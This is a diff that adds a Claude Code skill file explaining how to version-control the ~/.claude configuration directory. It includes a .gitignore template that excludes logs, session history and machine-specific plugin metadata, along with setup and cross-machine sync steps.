b/skills/version-control-config/SKILL.md @@ -0,0 +1,135 @@ +--- +name: Version Controlling Global Configuration +description: Use when user asks about version controlling ~/.claude directory or syncing Claude Code settings across machines. Provides git setup instructions and .gitignore patterns to track only portable settings while excluding logs, session data, and machine-specific plugin metadata. Invoke before initializing git in ~/.claude to prevent committing non-portable data. +--- + +# Version Controlling Claude Code Global Configuration + +Use this skill when users want to version control their `~/.claude` directory to sync settings across machines. + +## Critical Understanding + +The `~/.claude` directory contains both portable settings and machine-specific data. **Not everything should be version controlled.** + +### Safe to Version Control + +- `CLAUDE.md` - Global instructions +- `settings.json` - User preferences (only contains enabled plugin names) +- Documentation files you create (README, PLUGINS.md) + +### NEVER Version Control + +- `plugins/installed_plugins.json` - Contains absolute paths and timestamps +- `plugins/known_marketplaces.json` - Contains absolute paths and timestamps +- `plugins/config.json` - Machine-specific configuration +- `plugins/marketplaces/` and `plugins/repos/` - Downloaded plugin data +- `debug/`, `file-history/`, `history.jsonl` - Logs and session data (may contain sensitive info) +- `projects/`, `session-env/`, `shell-snapshots/`, `todos/` - Session-specific cache +- `statsig/` - Analytics cache + +## Why Plugin Metadata Shouldn't Be Versioned + +The plugin metadata files contain: +1. **Absolute paths** specific to each machine (e.g., `/Users/username/...`) +2. **Timestamps** that cause unnecessary merge conflicts +3. **Git commit SHAs** from local repositories + +These files are **automatically regenerated** by Claude Code when plugins are installed. You don't need to preserve them. + +## Standard .gitignore Template + +```gitignore +# Session data and logs +debug/ +file-history/ +history.jsonl +session-env/ +shell-snapshots/ +todos/ + +# Project-specific cache +projects/ + +# Analytics and telemetry +statsig/ + +# Plugin metadata (machine-specific paths and timestamps) +plugins/installed_plugins.json +plugins/known_marketplaces.json +plugins/config.json +plugins/marketplaces/ +plugins/repos/ + +# Any log files +*.log + +# Temporary files +*.tmp +*.swp +*~ + +# OS-specific files +.DS_Store +Thumbs.db +``` + +## Recommended Workflow + +### Initial Setup + +1. Examine the `~/.claude` directory to understand what's there +2. Create `.gitignore` with the template above +3. Create `PLUGINS.md` to document which plugins to install: + +```markdown +# Installed Plugins + +## Marketplaces +- **marketplace-name**: `https://github.com/user/repo` + +## Plugins +From `marketplace-name`: +- `plugin-name` - Brief description + +## Installation on New Machine +1. Clone/install marketplaces listed above +2. Use Claude Code to install plugins +3. Copy `settings.json` and `CLAUDE.md` from this repo +``` + +4. Create `README.md` explaining what the repo contains and setup process +5. Initialize git: `git init` +6. Verify with `git status` - should only show safe files +7. Commit the initial setup + +### Cross-Machine Sync + +On a new machine: +1. Clone the config repo to `~/.claude` +2. Manually install marketplaces and plugins per `PLUGINS.md` +3. Claude Code will regenerate all machine-specific metadata automatically + +## Validation Steps + +After creating `.gitignore`: +1. Run `git status` to see what will be tracked +2. Verify NO plugin metadata files appear +3. Verify NO log or session files appear +4. Should only see: `.gitignore`, `CLAUDE.md`, `settings.json`, and any docs you created + +If plugin metadata appears in `git status`, the `.gitignore` is incorrect. + +## Common Mistakes to Avoid + +- **Don't** version control the entire `plugins/` directory +- **Don't** try to preserve absolute paths across machines +- **Don't** commit `history.jsonl` (contains conversation history, potentially sensitive) +- **Don't** assume plugin metadata needs to be preserved + +## When to Use This Skill + +Trigger this skill when users: +- Ask about version controlling `~/.claude` +- Want to sync Claude settings across machines +- Ask what's safe to commit from their Claude directory +- Question whether plugin files should be in git